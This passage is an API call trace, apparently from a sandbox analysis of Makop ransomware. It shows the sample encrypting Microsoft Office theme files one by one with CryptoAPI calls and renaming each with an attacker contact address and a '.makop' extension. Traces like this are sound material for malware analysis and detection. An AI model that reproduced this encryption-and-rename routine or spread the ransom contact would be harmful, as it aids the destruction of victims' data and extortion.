dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.390] GetProcessHeap () returned 0x48a0000 [0157.390] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.390] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.390] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.390] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xf, lpOverlapped=0x0) returned 1 [0157.395] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.395] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.395] GetProcessHeap () returned 0x48a0000 [0157.395] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0157.395] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0157.395] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.395] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0157.395] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.395] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.395] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.396] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.396] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.396] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.396] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.396] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.396] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13af1, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x13af1, lpOverlapped=0x0) returned 1 [0157.399] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x13b00, dwBufLen=0x13b00 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x13b00) returned 1 [0157.400] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.400] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13b00, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x13b00, lpOverlapped=0x0) returned 1 [0157.401] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.402] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x13bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.402] SetEndOfFile (hFile=0x124) returned 1 [0157.410] GetProcessHeap () returned 0x48a0000 [0157.411] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0157.411] GetProcessHeap () returned 0x48a0000 [0157.411] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.411] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0157.411] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.413] CloseHandle (hObject=0x124) returned 1 [0157.413] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1 [0157.413] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx") returned 64 [0157.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.415] GetProcessHeap () returned 0x48a0000 [0157.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.415] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.415] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.415] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x6, lpOverlapped=0x0) returned 1 [0157.423] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.423] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.423] GetProcessHeap () returned 0x48a0000 [0157.423] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.423] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.423] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.423] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.423] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.423] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.424] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.424] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.424] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.424] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.424] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.424] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.425] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1583a, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x1583a, lpOverlapped=0x0) returned 1 [0157.427] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x15840, dwBufLen=0x15840 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x15840) returned 1 [0157.428] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.428] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15840, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x15840, lpOverlapped=0x0) returned 1 [0157.429] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.429] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.429] SetEndOfFile (hFile=0x124) returned 1 [0157.438] GetProcessHeap () returned 0x48a0000 [0157.438] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.438] GetProcessHeap () returned 0x48a0000 [0157.438] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.438] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0157.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.441] CloseHandle (hObject=0x124) returned 1 [0157.442] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1 [0157.442] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx") returned 67 [0157.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.444] GetProcessHeap () returned 0x48a0000 [0157.444] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.444] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.444] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.444] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x9, lpOverlapped=0x0) returned 1 [0157.449] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.449] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.449] GetProcessHeap () returned 0x48a0000 [0157.450] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.450] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.450] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.450] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.450] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.450] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.450] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.450] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.451] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.451] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.451] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.451] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.451] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x96ac7, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x96ac7, lpOverlapped=0x0) returned 1 [0157.473] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x96ad0, dwBufLen=0x96ad0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x96ad0) returned 1 [0157.479] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.479] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x96ad0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x96ad0, lpOverlapped=0x0) returned 1 [0157.484] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.484] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x96ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.484] SetEndOfFile (hFile=0x124) returned 1 [0157.492] GetProcessHeap () returned 0x48a0000 [0157.492] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.492] GetProcessHeap () returned 0x48a0000 [0157.492] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.492] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0157.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.494] CloseHandle (hObject=0x124) returned 1 [0157.494] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1 [0157.494] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx") returned 65 [0157.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.497] GetProcessHeap () returned 0x48a0000 [0157.497] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.498] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.498] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.498] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x7, lpOverlapped=0x0) returned 1 [0157.502] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.502] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.502] GetProcessHeap () returned 0x48a0000 [0157.502] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.502] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.502] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.502] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.503] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.503] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.503] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.503] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.503] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.503] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.503] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.503] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.504] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x132b9, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x132b9, lpOverlapped=0x0) returned 1 [0157.506] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x132c0, dwBufLen=0x132c0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x132c0) returned 1 [0157.507] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.507] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x132c0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x132c0, lpOverlapped=0x0) returned 1 [0157.508] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.508] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x13394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.508] SetEndOfFile (hFile=0x124) returned 1 [0157.515] GetProcessHeap () returned 0x48a0000 [0157.516] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.516] GetProcessHeap () returned 0x48a0000 [0157.516] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.516] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0157.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.518] CloseHandle (hObject=0x124) returned 1 [0157.518] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1 [0157.518] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx") returned 63 [0157.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), dwDesiredAccess=0xc0000000, 